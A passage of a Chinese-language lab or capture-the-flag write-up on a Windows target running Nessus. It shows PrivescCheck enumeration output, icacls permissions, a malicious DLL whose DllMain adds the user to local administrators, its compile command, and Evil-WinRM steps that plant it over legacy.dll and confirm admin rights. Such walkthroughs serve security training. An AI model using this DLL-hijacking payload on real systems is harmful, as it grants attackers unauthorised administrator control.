? stored locally.                                              ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.024


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - SCOM Run As Account                 ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the event logs contain traces of SCOM Run As   ?
? accounts being used locally. If so, the clear-text           ?
? credentials of those accounts can be extracted from the      ?
? registry with administrator privileges.                      ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.029


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Hardening - LSA Protection                        ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether LSA protection is enabled. Note that when LSA  ?
? protection is enabled, &amp;#39;lsass.exe&amp;#39; runs as a Protected       ?
? Process Light (PPL) and thus can only be accessed by other   ?
? protected processes with an equivalent or higher protection  ?
? level.                                                       ?
????????????????????????????????????????????????????????????????


Key         : HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Value       : RunAsPPL
Data        : (null)
Description : LSA Protection is not enabled.



[*] Status: Vulnerable - Severity: Low - Execution time: 00:00:00.034


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Hardening - Credential Guard                      ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether Credential Guard is supported and enabled.     ?
? Note that when Credential Guard is enabled, credentials are  ?
? stored in an isolated process (&amp;#39;LsaIso.exe&amp;#39;) that cannot be  ?
? accessed, even if the kernel is compromised.                 ?
????????????????????????????????????????????????????????????????


LsaCfgFlagsPolicyKey       : HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard
LsaCfgFlagsPolicyValue     : LsaCfgFlags
LsaCfgFlagsPolicyData      : (null)
LsaCfgFlagsKey             : HKLM\SYSTEM\CurrentControlSet\Control\LSA
LsaCfgFlagsValue           : LsaCfgFlags
LsaCfgFlagsData            : (null)
LsaCfgFlagsDescription     : Credential Guard is not configured.
CredentialGuardConfigured  : False
CredentialGuardRunning     : False
CredentialGuardDescription : Credential Guard is not configured. Credential Guard is not running.



[*] Status: Vulnerable - Severity: Low - Execution time: 00:00:05.477


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0008 - Lateral Movement                         ?
? NAME     ? Hardening - LAPS                                  ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether LAPS is configured and enabled. Note that this ?
? applies to domain-joined machines only.                      ?
????????????????????????????????????????????????????????????????


Description : The machine is not domain-joined, this check is irrelevant.



[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.075


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0001 - Initial Access                           ?
? NAME     ? Hardening - BitLocker                             ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether BitLocker is enabled on the system drive and   ?
? requires a second factor of authentication (PIN or startup   ?
? key). Note that this check might yield a false positive if a ?
? third-party drive encryption software is installed.          ?
????????????????????????????????????????????????????????????????
WARNING: No TPM device found.


MachineRole : Server
TpmPresent  : False
Description : Not a workstation, BitLocker configuration is irrelevant.



[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.077


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Configuration - PATH Folder Permissions           ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has any write permissions on  ?
? the system-wide PATH folders. If so, the system could be     ?
? vulnerable to privilege escalation through ghost DLL         ?
? hijacking.                                                   ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.142


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Misc - Known Ghost DLLs                           ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Get information about services that are known to be prone to ?
? ghost DLL hijacking. Note that their exploitation requires   ?
? the current user to have write permissions on at least one   ?
? system-wide PATH folder.                                     ?
????????????????????????????????????????????????????????????????


Name           : WptsExtensions.dll
Description    : Loaded by the Task Scheduler service (Schedule) upon startup.
RunAs          : LocalSystem
RebootRequired : True
Link           : http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservic
                 e.html



[*] Status: Informational - Severity: None - Execution time: 00:00:00.066


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Configuration - NTLM Downgrade (NTLMv1)           ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the machine is vulnerable to NTLM downgrade    ?
? attacks. If so, a local or remote attacker could capture the ?
? NTLMv1 authentication of the computer account (or another    ?
? authenticated user), and recover its NT hash offline.        ?
????????????????????????????????????????????????????????????????


NtlmMinServerSec                        : 536870912
NtlmMinServerSecDescription             : Require 128-bit encryption
BlockNtlmv1SSO                          : 0
BlockNtlmv1SSODescription               : The request to generate NTLMv1-credentials for a
                                          logged-on user is audited but allowed to succeed.
                                          Warning events are generated. This setting is also
                                          called Audit mode.
NtlmMinClientSec                        : 536870912
NtlmMinClientSecDescription             : Require 128-bit encryption
RestrictSendingNTLMTraffic              : 0
RestrictSendingNTLMTrafficDescription   : Allow all
RestrictReceivingNTLMTraffic            : 0
RestrictReceivingNTLMTrafficDescription : Allow all
LmCompatibilityLevel                    : 3
LmCompatibilityLevelDescription         : Send NTLMv2 response only
CredentialGuard                         : Credential Guard is not configured. Credential Guard is
                                          not running.



[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:05.066


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Configuration - MSI AlwaysInstallElevated         ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the &amp;#39;AlwaysInstallElevated&amp;#39; policy is enabled  ?
? system-wide and for the current user. If so, the current     ?
? user may install a Windows Installer package with elevated   ?
? (SYSTEM) privileges.                                         ?
????????????????????????????????????????????????????????????????


LocalMachineKey   : HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
LocalMachineValue : AlwaysInstallElevated
LocalMachineData  : (null)
Description       : AlwaysInstallElevated is not enabled in HKLM.



[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.024


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0008 - Lateral Movement                         ?
? NAME     ? Configuration - WSUS                              ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether WSUS uses the HTTPS protocol to retrieve       ?
? updates from the on-premise update server. If WSUS uses the  ?
? clear-text HTTP protocol, it is vulnerable to MitM attacks   ?
? that may result in remote code execution as SYSTEM.          ?
????????????????????????????????????????????????????????????????


Key         : HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
Value       : WUServer
Data        : (null)
Description : No WSUS server is configured (default).

Key         : HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
Value       : UseWUServer
Data        : (null)
Description : WSUS server not enabled (default).

Key         : HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
Value       : SetProxyBehaviorForUpdateDetection
Data        : (null)
Description : Proxy fallback not configured (default).

Key         : HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
Value       : DisableWindowsUpdateAccess
Data        : (null)
Description : Windows Update features are enabled (default).



[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.027


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0008 - Lateral Movement                         ?
? NAME     ? Configuration - Hardened UNC Paths                ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether sensitive UNC paths are properly hardened.     ?
? Note that non-hardened UNC paths used for retrieving group   ?
? policies can be hijacked through an MitM attack to obtain    ?
? remote code execution as SYSTEM.                             ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.035


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Configuration - Point and Print                   ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the Print Spooler service is enabled and if    ?
? the Point and Print configuration allows non-administrator   ?
? users to install printer drivers.                            ?
????????????????????????????????????????????????????????????????


Description : The Print Spooler service is disabled.



[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.039


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Configuration - Application Repair Whitelist      ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether a whitelist of MSI packages is set in the      ?
? registry to disable UAC prompts, and whether they have       ?
? custom actions that may be leveraged for local privilege     ?
? escalation.                                                  ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.087


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Updates - Update History                          ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether a Windows security update was installed within ?
? the last 31 days.                                            ?
????????????????????????????????????????????????????????????????
WARNING: Failed to retrieve hotfix history.
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:05.749


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Misc - Process and Thread Permissions             ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has any privileged access     ?
? right on a Process or Thread they do not own.                ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:01.457


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Misc - User Sessions                              ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Get information about the currently logged-on users. Note    ?
? that it might be possible to capture or relay the            ?
? NTLM/Kerberos authentication of these users (RemotePotato0,  ?
? KrbRelay).                                                   ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (nothing found) - Severity: None - Execution time: 00:00:00.043


????????????????????????????????????????????????????????????????
?                 ~~~ PrivescCheck Summary ~~~                 ?
????????????????????????????????????????????????????????????????
 TA0004 - Privilege Escalation
 - Services - Image File Permissions ▒ High
 TA0006 - Credential Access
 - Hardening - Credential Guard ▒ Low
 - Hardening - LSA Protection ▒ Low

WARNING: To get more info, run this script with the option &amp;#39;-Extended&amp;#39;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 发现了一处权限比较高&lt;code&gt;C:\Program Files\Tenable\Nessus\nessus-service.exe&lt;/code&gt;，AllAccess是权限集合中的&lt;strong&gt;完全控制权限&lt;/strong&gt;，覆盖所有其他基础权限（如读取、写入、执行等），允许用户或组对资源进行&lt;strong&gt;无限制操作&lt;/strong&gt;，看一下：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\&amp;gt; cd &amp;quot;C:\Program Files\Tenable\Nessus\&amp;quot;
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; dir


    Directory: C:\Program Files\Tenable\Nessus


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/18/2024  10:35 AM              1 .winperms
-a----          5/9/2024  11:30 PM        2471544 fips.dll
-a----          5/9/2024  11:30 PM        5217912 icudt73.dll
-a----          5/9/2024  11:30 PM        1575032 icuuc73.dll
-a----          5/9/2024  11:30 PM        4988536 legacy.dll
-a----          5/9/2024  11:06 PM         375266 License.rtf
-a----          5/9/2024  11:37 PM       11204728 nasl.exe
-a----          5/9/2024  11:31 PM         264824 ndbg.exe
-a----          5/9/2024  11:06 PM             46 Nessus Web Client.url
-a----          5/9/2024  11:33 PM          38520 nessus-service.exe
-a----          5/9/2024  11:37 PM       11143800 nessuscli.exe
-a----          5/9/2024  11:38 PM       11925624 nessusd.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现存在一些&lt;code&gt;dll&lt;/code&gt;文件，猜测可能存在劫持漏洞，看一下权限：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; icacls &amp;quot;C:\Program Files\Tenable\Nessus\*&amp;quot;
C:\Program Files\Tenable\Nessus\.winperms NT AUTHORITY\SYSTEM:(I)(F)
                                          BUILTIN\Administrators:(I)(F)
                                          BUILTIN\Users:(I)(RX)
                                          NESSUS\nesus:(I)(F)
                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\fips.dll NT AUTHORITY\SYSTEM:(I)(F)
                                         BUILTIN\Administrators:(I)(F)
                                         BUILTIN\Users:(I)(RX)
                                         NESSUS\nesus:(I)(F)
                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\icudt73.dll NT AUTHORITY\SYSTEM:(I)(F)
                                            BUILTIN\Administrators:(I)(F)
                                            BUILTIN\Users:(I)(RX)
                                            NESSUS\nesus:(I)(F)
                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\icuuc73.dll NT AUTHORITY\SYSTEM:(I)(F)
                                            BUILTIN\Administrators:(I)(F)
                                            BUILTIN\Users:(I)(RX)
                                            NESSUS\nesus:(I)(F)
                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\legacy.dll NT AUTHORITY\SYSTEM:(I)(F)
                                           BUILTIN\Administrators:(I)(F)
                                           BUILTIN\Users:(I)(RX)
                                           NESSUS\nesus:(I)(F)
                                           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\License.rtf NT AUTHORITY\SYSTEM:(I)(F)
                                            BUILTIN\Administrators:(I)(F)
                                            BUILTIN\Users:(I)(RX)
                                            NESSUS\nesus:(I)(F)
                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\nasl.exe NT AUTHORITY\SYSTEM:(I)(F)
                                         BUILTIN\Administrators:(I)(F)
                                         BUILTIN\Users:(I)(RX)
                                         NESSUS\nesus:(I)(F)
                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\ndbg.exe NT AUTHORITY\SYSTEM:(I)(F)
                                         BUILTIN\Administrators:(I)(F)
                                         BUILTIN\Users:(I)(RX)
                                         NESSUS\nesus:(I)(F)
                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\Nessus Web Client.url NT AUTHORITY\SYSTEM:(I)(F)
                                                      BUILTIN\Administrators:(I)(F)
                                                      BUILTIN\Users:(I)(RX)
                                                      NESSUS\nesus:(I)(F)
                                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\nessus-service.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                   BUILTIN\Administrators:(I)(F)
                                                   BUILTIN\Users:(I)(RX)
                                                   NESSUS\nesus:(I)(F)
                                                   APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                   APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\nessuscli.exe NT AUTHORITY\SYSTEM:(I)(F)
                                              BUILTIN\Administrators:(I)(F)
                                              BUILTIN\Users:(I)(RX)
                                              NESSUS\nesus:(I)(F)
                                              APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                              APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Program Files\Tenable\Nessus\nessusd.exe NT AUTHORITY\SYSTEM:(I)(F)
                                            BUILTIN\Administrators:(I)(F)
                                            BUILTIN\Users:(I)(RX)
                                            NESSUS\nesus:(I)(F)
                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 12 files; Failed processing 0 files
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;符号&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;权限说明&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;对应操作&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;F&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;完全控制&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;读取、写入、执行、删除、修改属性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;M&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;修改&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;写入、删除（需配合&lt;code&gt;F&lt;/code&gt;&lt;br/&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;RX&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;读取和执行&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;查看内容、运行程序&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;R&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;只读&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;查看内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;W&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;写入&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;修改内容（需目录权限）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;D&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;删除&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;删除文件或子目录&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;code&gt;**F**&lt;/code&gt;：完全控制（Full Control）： 包含所有权限（读取、写入、执行、删除、修改属性等），可完全控制文件或目录。&lt;/p&gt;
&lt;h2&gt;dll劫持&lt;/h2&gt;
&lt;p&gt;在网上找了一个dll的劫持脚本，尝试进行利用：&lt;a href=&quot;https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html&quot;&gt;https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;也可参考：&lt;a href=&quot;https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html?highlight=windows%20dll#dll-search-order&quot;&gt;https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html?highlight=windows%20dll#dll-search-order&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/*
DLL hijacking example
author: @cocomelonc
*/

#include &amp;lt;windows.h&amp;gt;

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      system(&amp;quot;cmd.exe /k net localgroup administrators nesus /add&amp;quot;);
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进行编译再上传&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~/temp/Nessus]
└─$ x86_64-w64-mingw32-gcc exp.c -shared -o legacy.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;-shared&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;这个参数表示：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;生成“共享库”，而不是可执行文件（.exe）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Windows 里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-shared&lt;/code&gt; ⇒ 生成 &lt;code&gt;.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;不加 &lt;code&gt;-shared&lt;/code&gt; ⇒ 默认生成 &lt;code&gt;.exe&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; cd &amp;quot;C:\Program Files\Tenable\Nessus&amp;quot;
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; dir


    Directory: C:\Program Files\Tenable\Nessus


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/18/2024  10:35 AM              1 .winperms
-a----          5/9/2024  11:30 PM        2471544 fips.dll
-a----          5/9/2024  11:30 PM        5217912 icudt73.dll
-a----          5/9/2024  11:30 PM        1575032 icuuc73.dll
-a----          5/9/2024  11:30 PM        4988536 legacy.dll
-a----          5/9/2024  11:06 PM         375266 License.rtf
-a----          5/9/2024  11:37 PM       11204728 nasl.exe
-a----          5/9/2024  11:31 PM         264824 ndbg.exe
-a----          5/9/2024  11:06 PM             46 Nessus Web Client.url
-a----          5/9/2024  11:33 PM          38520 nessus-service.exe
-a----          5/9/2024  11:37 PM       11143800 nessuscli.exe
-a----          5/9/2024  11:38 PM       11925624 nessusd.exe


*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; upload legacy.dll legacy.dll
                                        
Info: Uploading /home/kali/Desktop/hmv/legacy.dll to C:\Program Files\Tenable\Nessus\legacy.dll                     
                                        
Data: 115344 bytes of 115344 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; .\nessus-service.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\users\Administrator&amp;gt; cd &amp;quot;C:\Program Files\Tenable\Nessus&amp;quot;
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; mv legacy.dll legacy_beifen.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; upload legacy.dll legacy.dll
                                        
Info: Uploading /home/kali/Desktop/hmv/legacy.dll to C:\Program Files\Tenable\Nessus\legacy.dll                     
                                        
Data: 115344 bytes of 115344 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; .\nessus-service.exe
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; cd c:/users/Administrator
*Evil-WinRM* PS C:\users\Administrator&amp;gt; type root.txt
Cannot find path &amp;#39;C:\users\Administrator\root.txt&amp;#39; because it does not exist.
At line:1 char:1
+ type root.txt
+ ~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\users\Administrator\root.txt:String) [Get-Content], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 尝试重启靶机，看一下是否成功修改：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~/temp/Nessus]
└─$ evil-winrm -i $IP -u nesus -p password
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&amp;#39; for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; cd &amp;quot;C:\Program Files\Tenable\Nessus&amp;quot;
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; dir


    Directory: C:\Program Files\Tenable\Nessus


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/18/2024  10:35 AM              1 .winperms
-a----          5/9/2024  11:30 PM        2471544 fips.dll
-a----          5/9/2024  11:30 PM        5217912 icudt73.dll
-a----          5/9/2024  11:30 PM        1575032 icuuc73.dll
-a----          6/9/2025   8:48 AM          86510 legacy.dll
-a----          5/9/2024  11:30 PM        4988536 legacy_beifen.dll
-a----          5/9/2024  11:06 PM         375266 License.rtf
-a----          6/9/2025   8:21 AM         424096 Listdlls.exe
-a----          5/9/2024  11:37 PM       11204728 nasl.exe
-a----          5/9/2024  11:31 PM         264824 ndbg.exe
-a----          5/9/2024  11:06 PM             46 Nessus Web Client.url
-a----          5/9/2024  11:33 PM          38520 nessus-service.exe
-a----          5/9/2024  11:37 PM       11143800 nessuscli.exe
-a----          5/9/2024  11:38 PM       11925624 nessusd.exe


*Evil-WinRM* PS C:\Program Files\Tenable\Nessus&amp;gt; whoami /all

USER INFORMATION
----------------

User Name    SID
============ ============================================
nessus\nesus S-1-5-21-2986980474-46765180-2505414164-1001


GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes
============================================================= ================ ============ ===============================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users                               Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK                                          Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
